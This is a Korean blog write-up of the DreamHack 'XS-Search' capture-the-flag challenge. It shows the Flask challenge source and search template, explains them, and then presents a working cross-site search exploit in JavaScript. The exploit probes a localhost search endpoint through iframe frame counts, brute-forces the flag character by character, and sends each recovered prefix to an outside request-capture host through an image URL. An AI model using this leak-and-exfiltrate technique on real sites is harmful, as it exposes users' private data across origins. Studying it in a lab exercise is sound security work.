[2025-08-19] XS-Search
๐ฆฅ ๋ณธ๋ฌธ
-
app.py
#!/usr/bin/python3 from flask import Flask, request, render_template, make_response, redirect, url_for from selenium.common.exceptions import TimeoutException from urllib.parse import urlparse from selenium import webdriver from selenium.webdriver.chrome.service import Service from hashlib import md5 import urllib import os app = Flask(__name__) app.secret_key = os.urandom(32) try: FLAG = open("./flag.txt", "r").read() except: FLAG = "[**FLAG**]" notes = { (FLAG, True), ("Hello World", False), ("DreamHack", False), ("carpe diem, quam minimum credula postero", False) } def read_url(url, cookie={"name": "name", "value": "value"}): cookie.update({"domain": "127.0.0.1"}) try: service = Service(executable_path="/chromedriver") options = webdriver.ChromeOptions() for _ in [ "headless", "window-size=1920x1080", "disable-gpu", "no-sandbox", "disable-dev-shm-usage", ]: options.add_argument(_) driver = webdriver.Chrome(service=service, options=options) driver.implicitly_wait(3) driver.set_page_load_timeout(3) driver.get(url) except TimeoutException as e: driver.quit() return True except Exception as e: driver.quit() # return str(e) return False driver.quit() return True @app.route("/") def index(): return render_template('index.html') @app.route('/search') def search(): query = request.args.get('query', None) if query == None: return render_template("search.html", query=None, result=None) for note, private in notes: if private == True and request.remote_addr != "127.0.0.1" and request.headers.get("HOST") != "127.0.0.1:8000": continue if query != "" and query in note: return render_template("search.html", query=query, result=note) return render_template("search.html", query=query, result=None) @app.route("/submit", methods=["GET", "POST"]) def submit(): if request.method == "GET": return render_template("submit.html") elif request.method == "POST": url = request.form.get("url", "") if not urlparse(url).scheme.startswith("http"): return '<script>alert("wrong url");history.go(-1);</script>' if not read_url(url): return '<script>alert("wrong??");history.go(-1);</script>' return '<script>alert("good");history.go(-1);</script>' app.run(host="0.0.0.0", port=8000)notes: (Flag, True) ๊ฐ์ ํํ์ ํํ๋ค๋ก ์ด๋ฃจ์ด์ง ์ธํธ.read_url(url, cookie): ์น๋๋ผ์ด๋ฒ๋ฅผ ํตํด์ ํด๋น URL์ ์ฟ ํค๋ฅผ ๊ฐ์ง๊ณ ์ ์index():index.html์ ๋ ๋๋งsearch()- query๊ฐ ์๋ค๋ฉด
search.html์ ๋ ๋๋ง - query๊ฐ ์๋ ๊ฒฝ์ฐ, notes์ ํํ๋ค์ ๊ฒ์ฌ
- private๊ฐ True์ด๊ณ ์์ฒญ์ remote_addr(ํด๋ผ์ด์ธํธ IP์ฃผ์)๊ฐ ๋ก์ปฌ์ด๊ณ HOST๊ฐ 127.0.0.1:8000(๋ก์ปฌ)์ด ๊ฐ์ ๊ฒฝ์ฐ์. ์ฟผ๋ฆฌ๊ฐ notes์ ์์ผ๋ฉด ํด๋น ์ฟผ๋ฆฌ๊ฐ๊ณผ note ๊ฐ์ ์๋ต.
- query๊ฐ ์๋ค๋ฉด
submit()- GET :
submit.html๋ ๋๋ง - POST : url์ด http๋ก ์์ํ๋์ง ๊ฒ์ฌํ๊ณ
read_url(url, cookie)์ ์๋.
- GET :
-
search.html
{% if result %} <h3>Searching "{{ query }}" found</h3> <iframe srcdoc="<pre>{{ result }}</pre>"></iframe> {% elif query %} <h3> Searching "{{ query }}" not found</h3> {% else %} <form method="GET" class="form-inline"> <div class="form-group"> <label class="sr-only" for="query">/</label> <div class="input-group"> <div class="input-group-addon">Query: </div> <input type="text" class="form-control" id="query" name="query" placeholder="DreamHack"> </div> </div> <button type="submit" class="btn btn-primary">Search</button> </form>- result๊ฐ ์์ผ๋ฉด
<iframe>์ ํตํ์ฌ<pre></pre>์ฝ์ - ์ฆ, ์ฑ๊ณต ์คํจ ์ฌ๋ถ์ ๋ฐ๋ผ
iframe๊ฐ์๊ฐ ๋ฌ๋ผ์ง
- result๊ฐ ์์ผ๋ฉด
ํ์ด ๊ณผ์
<iframe id="iframe"></iframe>
<img id="img">
<script>
async function req(url) {
return await new Promise((resolve, reject) => {
const iframe = document.getElementById("iframe");
iframe.src = url;
iframe.onload = () => {
if (iframe.contentWindow.frames.length != 0)
return resolve();
else
return reject();
};
});
}
async function search(query) {
try {
await req(
`http://localhost:8000/search?query=${query}`
);
return true;
} catch (e) {
return false;
}
}
async function exploit() {
let chars = "0123456789abcdef}"
let secret = "DH{";
while (!secret.includes("}")) {
for (let c of chars) {
if (await search(secret + c)) {
secret += c;
img.src = `https://hoelgcy.request.dreamhack.games/${secret}`;
break;
}
}
}
}
exploit();
</script>
์์ ์ฝ๋๋ฅผ ์น ํ์ด์ง์ ์ฎ๊ธฐ๊ณ ๋๋ฆผํต ํด์ฆ์์ ์๋ต์ ํ์ธํ๋ค. ์
๋ ๋์ด 3์ด ์ ํ์ด๋ผ ์ผ๋ถ๋ง ์ถ๋ ฅํ๋ ๋ฐ ํด๋น ์ฝ๋๋ฅผ secret ๋ณ์์ ์ถ๊ฐํ๋ฉด์ ์๋ต์ ์ป์ด๋ด๋ฉด flag๋ฅผ ์ป์ ์ ์๋ค
Leave a comment